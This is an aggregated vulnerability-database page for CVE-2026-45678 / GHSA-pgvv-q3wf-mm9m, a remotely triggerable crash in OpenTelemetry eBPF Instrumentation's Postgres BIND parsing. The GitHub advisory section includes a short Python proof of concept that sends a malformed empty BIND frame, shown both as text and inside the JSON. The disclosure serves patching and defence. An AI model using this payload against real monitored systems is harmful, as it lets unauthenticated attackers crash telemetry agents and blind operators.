Vulnerability-Lookup

CVE-2026-45678 (GCVE-0-2026-45678)

Vulnerability from cvelistv5 – Published: 2026-06-02 15:24 – Updated: 2026-06-02 15:54

Title

OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads

Summary

OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. Prior to version 0.9.0, the Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic. This issue has been patched in version 0.9.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-20 - Improper Input Validation
CWE-754 - Improper Check for Unusual or Exceptional Conditions

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/open-telemetry/opentelemetry-e…	x_refsource_CONFIRM
https://github.com/open-telemetry/opentelemetry-e…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
open-telemetry	opentelemetry-ebpf-instrumentation	Affected: < 0.9.0

Show details on NVD website

JSON

To clipboard

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                "id": "CVE-2026-45678",
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FKIE_CVE-2026-45678

Vulnerability from fkie_nvd - Published: 2026-06-02 16:16 - Updated: 2026-06-02 17:16

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0
	security-advisories@github.com	https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. Prior to version 0.9.0, the Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic. This issue has been patched in version 0.9.0."
    }
  ],
  "id": "CVE-2026-45678",
  "lastModified": "2026-06-02T17:16:34.230",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-06-02T16:16:42.287",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-754"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-PGVV-Q3WF-MM9M

Vulnerability from github – Published: 2026-05-18 17:56 – Updated: 2026-05-18 17:56

Summary

OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads

Details

Summary

The Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.

Details

The vulnerable logic is in pkg/ebpf/common/sql_detect_postgres.go. In the BIND case, OBI converts the full payload to a string with unix.ByteSliceToString(msg.data), computes portalLen := len(portal) + 1, and then slices msg.data[portalLen:] to derive the statement name.

There is no check that msg.data actually contains a NUL terminator or even enough bytes for portalLen. With an empty payload or a truncated message, portalLen can exceed the slice length and trigger a runtime panic.

PoC

Local testing with a minimal reproducer showed the expected slice bounds out of range crash for an empty BIND payload.

Use a vulnerable build:

git checkout v0.0.0-rc.1+build
make build

Start a local Postgres instance and OBI:

docker run --rm -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:17
sudo ./bin/obi

Send a malformed BIND frame with an empty payload:

# save as /tmp/pg-bind-poc.py
import socket, struct

tag = b'B'
length = struct.pack(">I", 4)
payload = b""

s = socket.create_connection(("127.0.0.1", 5432))
s.sendall(tag + length + payload)
s.close()

Run it:

python3 /tmp/pg-bind-poc.py

On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.

Impact

This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/obi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45678"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:56:26Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Postgres protocol parser assumes `BIND` message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.\n\n### Details\n\nThe vulnerable logic is in [pkg/ebpf/common/sql_detect_postgres.go](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/d5691806adc98008bacd2b7a4a4e0cd38ea51227/pkg/components/ebpf/common/sql_detect_postgres.go#L286-L294). In the `BIND` case, OBI converts the full payload to a string with `unix.ByteSliceToString(msg.data)`, computes `portalLen := len(portal) + 1`, and then slices `msg.data[portalLen:]` to derive the statement name.\n\nThere is no check that `msg.data` actually contains a NUL terminator or even enough bytes for `portalLen`. With an empty payload or a truncated message, `portalLen` can exceed the slice length and trigger a runtime panic.\n\n### PoC\n\nLocal testing with a minimal reproducer showed the expected `slice bounds out of range` crash for an empty BIND payload.\n\nUse a vulnerable build:\n\n```bash\ngit checkout v0.0.0-rc.1+build\nmake build\n```\n\nStart a local Postgres instance and OBI:\n\n```bash\ndocker run --rm -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:17\nsudo ./bin/obi\n```\n\nSend a malformed `BIND` frame with an empty payload:\n\n```python\n# save as /tmp/pg-bind-poc.py\nimport socket, struct\n\ntag = b\u0027B\u0027\nlength = struct.pack(\"\u003eI\", 4)\npayload = b\"\"\n\ns = socket.create_connection((\"127.0.0.1\", 5432))\ns.sendall(tag + length + payload)\ns.close()\n```\n\nRun it:\n\n```bash\npython3 /tmp/pg-bind-poc.py\n```\n\nOn a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.\n\n### Impact\n\nThis is a remote availability issue in OBI\u0027s Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.",
  "id": "GHSA-pgvv-q3wf-mm9m",
  "modified": "2026-05-18T17:56:26Z",
  "published": "2026-05-18T17:56:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-45678 (GCVE-0-2026-45678)

FKIE_CVE-2026-45678

GHSA-PGVV-Q3WF-MM9M

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature